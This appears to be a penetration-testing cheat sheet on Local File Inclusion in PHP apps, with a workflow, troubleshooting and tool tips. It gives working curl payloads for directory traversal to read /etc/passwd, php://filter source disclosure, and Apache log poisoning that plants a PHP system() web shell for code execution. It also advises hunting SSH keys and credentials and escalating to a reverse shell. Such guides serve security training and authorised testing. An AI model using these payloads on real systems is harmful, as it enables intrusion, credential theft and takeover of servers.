Local File Inclusion (LFI)
Concept
LFI occurs when an app passes user input into a file-include/read function without sanitizing it, letting an attacker read arbitrary files (traversal) or, in some cases, escalate to code execution via log/session poisoning or PHP wrappers.
When to Use
- A URL parameter looks like it selects a file/page, e.g. ?page=about.php or ?file=report.pdf.
- App is built in PHP and includes files dynamically.
Workflow
- 1Identify the vulnerable parameter
Any param referencing a filename/path.
- 2Confirm traversal
Read a known file like /etc/passwd.
- 3Enumerate readable files
App source, configs, SSH keys, logs.
- 4Attempt escalation to RCE
Log poisoning, php://filter, session file inclusion.
- 5Validate and weaponize
Turn the read/RCE primitive into a shell.
Commands
curl 'TARGET_URL?page=../../../../etc/passwd'curl 'http://10.10.11.25/index.php?page=../../../../etc/passwd'
Attempts basic directory traversal to read a well-known Linux file.
When to use: First test once a file-referencing parameter is spotted.
Expected output:
root:x:0:0:root:/root:/bin/bash ...
Look for: Valid /etc/passwd content confirms traversal works and shows the sanitization depth needed.
Next step: Try reading app source (e.g. index.php via php://filter) and config files for credentials.
curl 'TARGET_URL?page=php://filter/convert.base64-encode/resource=FILE_PATH'curl 'http://10.10.11.25/index.php?page=php://filter/convert.base64-encode/resource=config'
Uses the PHP php://filter wrapper to base64-encode a local PHP file instead of executing it, so you can read its source safely.
When to use: When you need to read PHP source (which would otherwise execute, hiding its code) rather than a plain-text file.
Expected output:
PD9waHAgJGRiX3Bhc3MgPSAnc2VjcmV0Jzs...
Look for: Valid base64 — decode with base64 -d to get the raw PHP source, then grep for credentials.
Next step: Decode and read config files (DB creds, API keys) found via this technique.
curl -s -A 'PAYLOAD' TARGET_URL; curl 'TARGET_URL?page=../../../var/log/apache2/access.log'curl -s -A '<?php system($_GET["c"]); ?>' http://10.10.11.25/; curl 'http://10.10.11.25/index.php?page=../../../var/log/apache2/access.log&c=id'
Log poisoning: inject a PHP payload into a log file (via User-Agent) that the LFI then includes, executing it as PHP.
When to use: When LFI alone only reads files, and you need to escalate to code execution and the web log is includable/readable.
Expected output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Look for: Command output embedded in the page — confirms RCE.
Next step: Swap the 'c' payload for a reverse shell one-liner.
Tools
Burp Suite
Intercepting proxy to craft/replay LFI payloads precisely.
When to use: When traversal depth or encoding needs iteration (null bytes, URL-encoding, filter bypass).
Intercept the request in Proxy, send to Repeater, modify the path parameter.Example workflow: Repeater: try increasing ../ counts, try %00 and double-encoding to bypass naive filters.
curl
Quick scripted requests without a GUI.
When to use: Fast iteration/scripting once the payload shape is known.
curl 'TARGET_URL?param=PAYLOAD'Example workflow: Loop over candidate paths/wrappers with a shell for-loop.
Findings & Interpretation
Interesting
- App source revealing DB credentials or an internal API
- SSH private keys under /home/*/.ssh/id_rsa
- Readable /proc/self/environ leaking env vars
Suspicious
- Parameter value that is a filename with no extension validation
False Positives
- A 'file not found' message that still returns HTTP 200 — confirm via content, not status code
How to Validate
- Request a file you know must exist (/etc/passwd, /etc/hostname) before trusting the traversal depth
Next Step
- If only read access: hunt for credentials/keys to pivot to SSH.
- If log/session poisoning works: escalate directly to a reverse shell.
Troubleshooting
Traversal returns the app's normal page instead of the target file.
Likely cause: Insufficient ../ depth, or the app appends an extension (e.g. .php) to your input.
Verify: Try increasing ../ repeats; try a null-byte or path-truncation style bypass (effectiveness is PHP-version dependent).
Fix: Use php://filter to bypass extension appending when reading PHP files, since the wrapper itself defines the resource.
Recovery: Fuzz for the exact traversal depth with ffuf using a counter wordlist of ../ repeats.
Avoid repeating: Don't assume one traversal depth works everywhere — test incrementally.